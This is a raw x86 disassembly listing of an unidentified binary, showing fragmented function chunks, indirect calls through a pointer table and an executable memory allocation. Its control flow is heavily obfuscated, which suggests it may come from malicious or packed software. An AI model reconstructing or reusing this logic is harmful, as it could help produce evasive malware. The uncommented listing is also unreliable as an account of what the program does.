		jmp	loc_9B47F0
; END OF FUNCTION CHUNK	FOR sub_9B5904
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================



sub_9AB1A0	proc near		; CODE XREF: sub_9B1A08-134Ep
					; sub_9B1F68+7F8p

; FUNCTION CHUNK AT 009AADB8 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 009AAE28 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009AAFF0 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009ABD24 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009AC030 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 009ACC88 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009ACCB4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009ACD50 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009ACF74 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009AD304 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009ADC08 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009ADCB0 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 009ADFDC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009AE134 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009AE758 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009AEA48 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009AEB54 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009AF858 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009AFE6F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B015C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B04E8 SIZE 00000046 BYTES
; FUNCTION CHUNK AT 009B0534 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B0720 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B1038 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B11EB SIZE 0000002D BYTES
; FUNCTION CHUNK AT 009B143C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B2248 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B290C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009B4A50 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B4AFC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B4D58 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 009B5894 SIZE 00000050 BYTES
; FUNCTION CHUNK AT 009B5B2C SIZE 00000059 BYTES
; FUNCTION CHUNK AT 009B5B88 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009B5B90 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009B5C48 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 009B5F54 SIZE 00000017 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B8FD0
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	eax, eax
		cmp	ecx, 6
		setnz	al
		mov	edi, eax
		mov	eax, [ebp+14h]
		mov	ecx, dword_9BCB74
		and	eax, eax
		push	dword ptr [ecx]
		pop	edx
		jz	loc_9B5C48
		jmp	off_9B9F48
sub_9AB1A0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3408


loc_9AB1EC:				; CODE XREF: sub_9B3408+8Ej
		mov	[ebp-124h], esi
		jmp	loc_9AB749
; END OF FUNCTION CHUNK	FOR sub_9B3408
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AB1F8:				; CODE XREF: sub_9B0930-4D78j
		push	off_9B9F20
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	ecx
		mov	[ecx+98h], eax
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	edx
		push	dword ptr [edx+98h]
		pop	ecx
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B1714
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AB230:				; CODE XREF: sub_9B0930-558Cj
		push	off_9B8F89
		mov	eax, [eax]
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		mov	edx, [ecx+8]
		mov	[edx+8], eax
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+8]
		pop	ecx
		push	dword ptr [ecx+8]
		pop	edx
		test	edx, edx
		jz	loc_9B23EF
		jmp	loc_9AEFC0
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC250


loc_9AB264:				; CODE XREF: sub_9AC250+76F4j
					; DATA XREF: .text:off_9B8908o
		pop	edi
		pop	ebp
		pop	ebx
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9AC250
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3FF8


loc_9AB26C:				; CODE XREF: sub_9B3FF8-5B9Dj
		push	[ebp+var_20]
		pop	eax
		and	edi, 0FFFF7FFFh
		sub	ecx, ecx
		mov	[ebp+var_1C], eax
		mov	[esi+8], di
		mov	[esi], ecx
		mov	[esi+4], ecx
		jmp	loc_9AF9C3
; END OF FUNCTION CHUNK	FOR sub_9B3FF8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0734


loc_9AB28C:				; CODE XREF: sub_9B0734+3B15j
					; DATA XREF: .text:off_9B8DE3o
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+10h]
		pop	eax
		push	1
		pop	esi
		call	dword ptr [eax+4Ch]
		cmp	eax, 2738h
		jz	loc_9B2674
		jmp	loc_9ACD64
; END OF FUNCTION CHUNK	FOR sub_9B0734
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9AB2B0:				; CODE XREF: sub_9B1F68-4167j
					; DATA XREF: .text:off_9BA7C5o
		push	dword ptr [eax+ebp-24Ch]
		pop	ecx
		test	ecx, ecx
		jnz	loc_9B1480
		jmp	loc_9B403C
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AB2C8:				; CODE XREF: sub_9B63D8-6A7Fj
		cmp	eax, 0FFFFFFFFh
		jz	loc_9AE7BE
		jmp	loc_9AE7B0
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC250


loc_9AB2D8:				; CODE XREF: sub_9AC250+7453j
					; DATA XREF: .text:off_9BA7CDo
		cmp	edi, ebx
		jz	loc_9AC264
		jmp	loc_9B5368
; END OF FUNCTION CHUNK	FOR sub_9AC250
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9AB2E8:				; CODE XREF: sub_9B4950-1FF2j
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		push	off_9BAD92
		call	dword ptr [eax+1Ch]
		jmp	loc_9B49DE
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3EFC


loc_9AB300:				; CODE XREF: sub_9B3EFC-3C04j
					; DATA XREF: .text:off_9BA4D9o
		and	eax, 0FFFFFFh
		cmp	eax, 0C0h
		jz	loc_9AD6E0
		jmp	loc_9AEA5C
; END OF FUNCTION CHUNK	FOR sub_9B3EFC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B082C


loc_9AB318:				; CODE XREF: sub_9B082C+Bj
		push	dword_9B994C
		pop	edx
		mov	[edi], edx
		mov	ax, word_9B9950
		mov	[edi+4], ax
; END OF FUNCTION CHUNK	FOR sub_9B082C
; START	OF FUNCTION CHUNK FOR sub_9B27D8


loc_9AB32B:				; CODE XREF: sub_9B27D8-5116j
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		push	off_9B8ED2
		call	dword ptr [edx+18h]
		mov	eax, off_9B97DD
		call	sub_9AD7A4
		mov	esi, eax
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	off_9B8ED2
		call	dword ptr [ecx+1Ch]
		sub	edx, edx
		push	esi
		pop	eax
		mov	ecx, 3
		div	ecx
		and	edx, edx
		jnz	loc_9AF59C
		jmp	off_9BAC25
; END OF FUNCTION CHUNK	FOR sub_9B27D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AB374:				; CODE XREF: sub_9B0930+51E8j
		push	off_9B9FAA
		mov	eax, [eax+8]
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		mov	ecx, [edx+8]
		mov	[ecx+4], eax
		mov	edx, dword_9BCB74
		push	dword ptr [edx+8]
		pop	eax
		mov	ecx, [eax+4]
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AB230
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_9AB3B0	proc near		; CODE XREF: sub_9B63D8-150Ap

; FUNCTION CHUNK AT 009AB834 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B24E0 SIZE 00000075 BYTES
; FUNCTION CHUNK AT 009B3C08 SIZE 00000021 BYTES

		push	esi
		push	edi
		mov	esi, off_9B89EF
		push	ebx
		pop	edi
		push	7
		pop	ecx
		rep movsd
		movsw
		movsb
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9B8ED2
		call	dword ptr [ecx+18h]
		push	off_9B97DD
		pop	eax
		call	sub_9AD7A4
		mov	edx, dword_9BCB74
		mov	esi, eax
		push	dword ptr [edx]
		pop	eax
		push	off_9B8ED2
		call	dword ptr [eax+1Ch]
		push	esi
		pop	eax
		xor	edx, edx
		mov	ecx, 5
		div	ecx
		mov	edx, off_9B9A70[edx*4]
		push	edx
		pop	eax


loc_9AB408:				; CODE XREF: sub_9AB3B0+5Dj
		mov	cl, [edx]
		inc	edx
		or	cl, cl
		jnz	short loc_9AB408
		jmp	loc_9AB834
sub_9AB3B0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AB414:				; CODE XREF: sub_9ADAC4+57B1j
					; DATA XREF: .text:off_9B8CB5o
		push	esi
		sub	eax, eax
		push	dword ptr [ebp-50h]
		pop	edx
		lea	esi, [ebp-3Ch]
		call	sub_9B1334
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	eax
		push	10h
		mov	ecx, esi
		push	ecx
		push	ebx
		call	dword ptr [eax+18h]
		and	eax, eax
		jnz	loc_9ADCDC
		jmp	off_9BA637
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B4610


loc_9AB447:				; CODE XREF: sub_9B4610+4Aj
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		push	off_9BA623
		call	dword ptr [eax+1Ch]
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B4610
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9AB474:				; CODE XREF: sub_9AF25C+33CEj
					; DATA XREF: .text:off_9B9598o
		push	edi
		pop	edx
		call	sub_9AF654
		test	eax, eax
		jnz	loc_9B3F5C
		jmp	loc_9AB9C8
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9AB488:				; CODE XREF: sub_9AC32C-857j
		mov	[esp+324h+var_100], ecx
		mov	[esp+324h+var_104], edx


loc_9AB496:				; CODE XREF: sub_9AC32C-85Dj
		push	[esp+324h+arg_4]
		pop	eax
		mov	ecx, dword_9BCB74
		sub	edi, edi
		mov	[esp+324h+var_314], eax
		mov	[esp+324h+var_310], edi
		push	dword ptr [ecx+10h]
		pop	edx
		lea	eax, [esp+324h+var_314]
		push	eax
		mov	ecx, ebx
		neg	ecx
		sbb	ecx, ecx
		lea	eax, [esp+328h+var_104]
		and	ecx, eax
		push	ecx
		push	ebp
		pop	ecx
		neg	ecx
		sbb	ecx, ecx
		lea	eax, [esp+32Ch+var_208]
		and	ecx, eax
		push	ecx
		push	esi
		pop	ecx
		neg	ecx
		lea	eax, [esp+330h+var_30C]
		sbb	ecx, ecx
		and	ecx, eax
		push	ecx
		jmp	loc_9B61AC
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADCEC


loc_9AB4EC:				; CODE XREF: sub_9ADCEC+5Bj
		and	eax, eax
		jnz	loc_9ACE2C
		jmp	off_9B8A0E
; END OF FUNCTION CHUNK	FOR sub_9ADCEC
; ---------------------------------------------------------------------------
		align 4
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		call	dword ptr [ecx+84h]
		and	eax, eax
		jns	loc_9AD4C0
		jmp	off_9BA0D4
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9ABA3C


loc_9AB51F:				; CODE XREF: sub_9ABA3C+486Dj
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-124h]
		pop	eax
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp-1Ch]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9ABA3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B2F1C


loc_9AB548:				; CODE XREF: sub_9B2F1C-7399j
		mov	ecx, [ebp+0Ch]
		mov	dword ptr [ecx], 0
		jmp	loc_9B528F
; END OF FUNCTION CHUNK	FOR sub_9B2F1C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AB558:				; CODE XREF: sub_9B63D8-AE10j
					; DATA XREF: .text:off_9B8910o
		call	sub_9B45AC
		xor	edx, edx
		push	0Ah
		pop	ecx
		div	ecx
		and	edx, edx
		jz	loc_9B4EC8
		jmp	off_9BA364
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AB574	proc near		; CODE XREF: sub_9ADCEC-2472p
					; sub_9B1F68-51CEp ...
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	ecx
		push	esi
		push	off_9BAA6D
		call	dword ptr [ecx+18h]
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		push	dword_9BBD24
		pop	esi
		push	off_9BAA6D
		call	dword ptr [eax+1Ch]
		mov	eax, esi
		pop	esi
		retn
sub_9AB574	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AB5A4:				; CODE XREF: sub_9B63D8-F0Fj
					; DATA XREF: .text:off_9BA98Eo
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		call	dword ptr [edx+30h]
		mov	[ebp-214Ch], eax
		push	0Ah
		push	50h
		push	ebx
		call	sub_9AD11C
		cmp	eax, 4
		jnz	loc_9AF944
		jmp	off_9B8910
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AB5D0:				; CODE XREF: sub_9B63D8-76C4j
		jmp	loc_9AF94B
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AB5D8:				; CODE XREF: sub_9B0930+E16j
		push	off_9BABB0
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+0Ch]
		pop	edx
		mov	[edx+8], eax
		push	dword_9BCB74
		pop	eax
		mov	eax, [eax+0Ch]
		push	dword ptr [eax+8]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BA5E8
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AB610:				; CODE XREF: sub_9B63D8-161Aj
		mov	ebx, 0Ch


loc_9AB615:				; CODE XREF: sub_9B63D8-1D39j
		mov	[ebp-212Ch], ebx
		push	dword ptr [ebp-2124h]
		pop	ecx
		add	ecx, 0FFFFFFD9h
		cmp	ebx, ecx
		jg	loc_9B41A4
		jmp	loc_9AE818
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2E04


loc_9AB634:				; CODE XREF: sub_9B2E04-6BFj
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	eax
		push	edi
		call	dword ptr [eax+38h]
		jmp	loc_9AC13B
; END OF FUNCTION CHUNK	FOR sub_9B2E04
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B174C


loc_9AB650:				; CODE XREF: sub_9B174C+D79j
		push	eax
		pop	ecx
		dec	ecx
		mov	dword_9BBD30, ecx
		push	4
		mov	ecx, 4
		mov	edx, off_9B8DBE
		call	sub_9B1B20


loc_9AB66B:				; CODE XREF: sub_9B174C+D73j
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		push	off_9BA97F
		call	dword ptr [eax+1Ch]
		jmp	loc_9B166F
; END OF FUNCTION CHUNK	FOR sub_9B174C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AB684:				; CODE XREF: sub_9B1D80+1ECCj
		push	0C01h
		pop	ecx
		div	ecx
		add	edx, 400h
		jmp	loc_9AC772
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AB698:				; CODE XREF: sub_9B1A08+3258j
					; DATA XREF: .text:off_9B8DA6o
		lea	eax, [esi+esi*4]
		push	[ebp+eax*8+var_41BC]
		pop	eax
		or	eax, eax
		jz	loc_9AB8B5
		jmp	off_9BAFBB
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B5100


loc_9AB6B4:				; CODE XREF: sub_9B5100+1Dj
		push	[esp+8+arg_0]
		pop	eax
		mov	edi, [esp+8+arg_4]
		push	eax
		call	sub_9AC6A0
		add	esp, 4
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_9B5100
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9AB6CC:				; CODE XREF: sub_9ACEE8-3E6j
		inc	ebx
		mov	[ebp-0B4h], ebx
		cmp	ebx, 3
		jle	loc_9ACF55
		jmp	off_9BAB01
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9AB6E4:				; CODE XREF: sub_9B1F68+28F3j
		push	eax
		xor	edx, edx
		call	sub_9AD590
		test	eax, eax
		jz	loc_9AFB74
		jmp	loc_9B64E4
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AB6FC:				; CODE XREF: sub_9B63D8-7183j
		mov	dword ptr [ebp-2134h], 1
		jmp	loc_9AF94B
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEC20


loc_9AB70C:				; CODE XREF: sub_9AEC20-233Bj
		mov	dword_9BBD2C, edi


loc_9AB712:				; CODE XREF: sub_9AEC20-2341j
		push	4
		mov	ecx, 4
		mov	edx, off_9B8DBE
		call	sub_9B4480
		test	eax, eax
		jnz	loc_9AE5B7
		jmp	off_9B92F4
; END OF FUNCTION CHUNK	FOR sub_9AEC20
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3408


loc_9AB734:				; CODE XREF: sub_9B3408-627Ej
					; DATA XREF: .text:off_9BA164o
		mov	eax, [esi+48h]
		call	sub_9AC448
		mov	[esi+48h], ebx
		mov	dword ptr [ebp-134h], 1


loc_9AB749:				; CODE XREF: sub_9B3408-8216j
					; sub_9B3408-7676j ...
		push	dword ptr [ebp-124h]
		pop	eax
		or	eax, eax
		jz	loc_9B3761
		jmp	off_9B9713
; END OF FUNCTION CHUNK	FOR sub_9B3408
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACD20


loc_9AB768:				; CODE XREF: sub_9ACD20+1Cj
					; DATA XREF: .text:off_9BAC75o
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_9ACD20
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFC28


loc_9AB774:				; CODE XREF: sub_9AFC28+4Aj
					; DATA XREF: .text:off_9BA3D0o
		lea	eax, [esi+0FFFh]
		and	eax, 0FFFFF000h
		mov	[ebx+4], eax
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		push	40h
		push	3000h
		push	eax
		push	0
		call	dword ptr [edx+10h]
		push	eax
		pop	edi
		mov	[ebx], edi
		test	edi, edi
		jz	loc_9ADF17
		jmp	off_9BAAA1
; END OF FUNCTION CHUNK	FOR sub_9AFC28
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2830


loc_9AB7AC:				; CODE XREF: sub_9B2830+4Dj
		cmp	esi, 1FFCh
		ja	loc_9AD190
		jmp	loc_9B2680
; END OF FUNCTION CHUNK	FOR sub_9B2830
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9AB7C0	proc near		; CODE XREF: sub_9B1A08-381Bp

; FUNCTION CHUNK AT 009AFD43 SIZE 00000025 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BAAD8
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	eax, 403Ch
		mov	large fs:0, esp
		sub	esp, 8
		call	__alloca_probe
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, ecx
		mov	[ebp-18h], esp
		mov	[ebp-4050h], edi
		mov	dword ptr [ebp-4], 0
		push	dword ptr [edi+4]
		pop	ebx
		push	ebx
		call	sub_9B3EFC
		add	esp, 4
		and	eax, eax
		jz	loc_9AFD43
		jmp	sub_9B04A8
sub_9AB7C0	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF698


loc_9AB82C:				; CODE XREF: sub_9AF698+1Bj
		jmp	sub_9AD01C
; END OF FUNCTION CHUNK	FOR sub_9AF698
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB3B0


loc_9AB834:				; CODE XREF: sub_9AB3B0+5Fj
		mov	edi, ebx
		sub	edx, eax
		dec	edi


loc_9AB839:				; CODE XREF: sub_9AB3B0+48Fj
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_9AB839
		jmp	loc_9B3C08
; END OF FUNCTION CHUNK	FOR sub_9AB3B0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3150


loc_9AB848:				; CODE XREF: sub_9B3150+3Cj
		mov	esi, [ebx+44h]
		cmp	esi, eax
		jz	loc_9AEFA3
		jmp	loc_9AEB78
; END OF FUNCTION CHUNK	FOR sub_9B3150
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B5480


loc_9AB858:				; CODE XREF: sub_9B5480-7B94j
					; DATA XREF: .text:off_9B8900o
		call	sub_9AC448


loc_9AB85D:				; CODE XREF: sub_9B5480-7B9Aj
		mov	eax, [esi]
		call	sub_9AC448
		mov	dword ptr [esi], 0
		jmp	loc_9B335B
; END OF FUNCTION CHUNK	FOR sub_9B5480
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ADCEC


loc_9AB870:				; CODE XREF: sub_9ADCEC-EA0j
					; DATA XREF: .text:off_9BA425o
		push	0FFFFh
		pop	eax


loc_9AB876:				; CODE XREF: sub_9ADCEC-EA6j
		mov	[ebx+16h], ax
		call	sub_9AB574
		mov	[ebx+18h], ax
		push	0CBDBDBABh
		push	0CBDBEDEFh
		push	ebx
		push	1Ah
		pop	eax
		call	sub_9B6370
		jmp	loc_9AE3D3
; END OF FUNCTION CHUNK	FOR sub_9ADCEC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3984


loc_9AB89C:				; CODE XREF: sub_9B3984-7BBDj
					; sub_9B3984-7B5Fj ...
		mov	edx, dword_9BCB74
		push	dword ptr [edx+10h]
		pop	eax
		push	ebx
		call	dword ptr [eax+38h]
		jmp	loc_9AFB83
; END OF FUNCTION CHUNK	FOR sub_9B3984
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AB8B0:				; CODE XREF: sub_9B1A08-635Dj
					; DATA XREF: .text:off_9BAFBBo
		call	sub_9AC448


loc_9AB8B5:				; CODE XREF: sub_9B1A08-6363j
		inc	esi
		mov	[ebp+var_41E8],	esi
		jmp	loc_9B4C58
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9AB8C4:				; CODE XREF: sub_9B4FD0-847Ej
					; sub_9B4FD0-6243j ...
		inc	ecx
		jmp	loc_9AF186
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF25C


loc_9AB8CC:				; CODE XREF: sub_9AF25C-33E0j
					; DATA XREF: .text:off_9BAAC0o
		call	sub_9AFF64


loc_9AB8D1:				; CODE XREF: sub_9AF25C-364Bj
					; sub_9AF25C+4Dj ...
		lea	ecx, [ebp+8]
		call	sub_9B5480
		jmp	loc_9B33DB
; END OF FUNCTION CHUNK	FOR sub_9AF25C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AB8E0:				; CODE XREF: sub_9ADAC4+413Dj
					; DATA XREF: .text:off_9B93ABo
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+10h]
		pop	edx
		push	ebx
		call	dword ptr [edx+38h]


loc_9AB8EE:				; CODE XREF: sub_9ADAC4+4137j
					; sub_9ADAC4+73F6j
		sub	esi, esi


loc_9AB8F0:				; CODE XREF: sub_9ADAC4-1B0Aj
		mov	[ebp-40h], esi
		cmp	esi, 0Ah
		jge	loc_9AD4EB
		jmp	off_9B96EC
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B161C


loc_9AB904:				; CODE XREF: sub_9B161C-4CCBj
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9B161C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AD11C


loc_9AB910:				; CODE XREF: sub_9AD11C+3A2Bj
		mov	ecx, [esp+18h+arg_C]
		push	ecx
		push	esi
		mov	eax, 30h
		call	sub_9AC32C
		test	al, 3
		jnz	loc_9AFA56
		jmp	off_9BAD27
; END OF FUNCTION CHUNK	FOR sub_9AD11C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9AB930:				; CODE XREF: sub_9ACEE8+3027j
					; DATA XREF: .text:off_9BAEF5o
		inc	ecx
		mov	[ebp-0DCh], ecx


loc_9AB937:				; CODE XREF: sub_9ACEE8-856j
		and	ecx, ecx
		jnz	loc_9AF40A
		jmp	loc_9AF3F8
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B611C


loc_9AB944:				; CODE XREF: sub_9B611C+Bj
		mov	ax, word_9B93B4
		mov	[edi], ax
; END OF FUNCTION CHUNK	FOR sub_9B611C
; START	OF FUNCTION CHUNK FOR sub_9B6078


loc_9AB94D:				; CODE XREF: sub_9B6078-619j
		test	dl, 2
		jz	loc_9B09C0
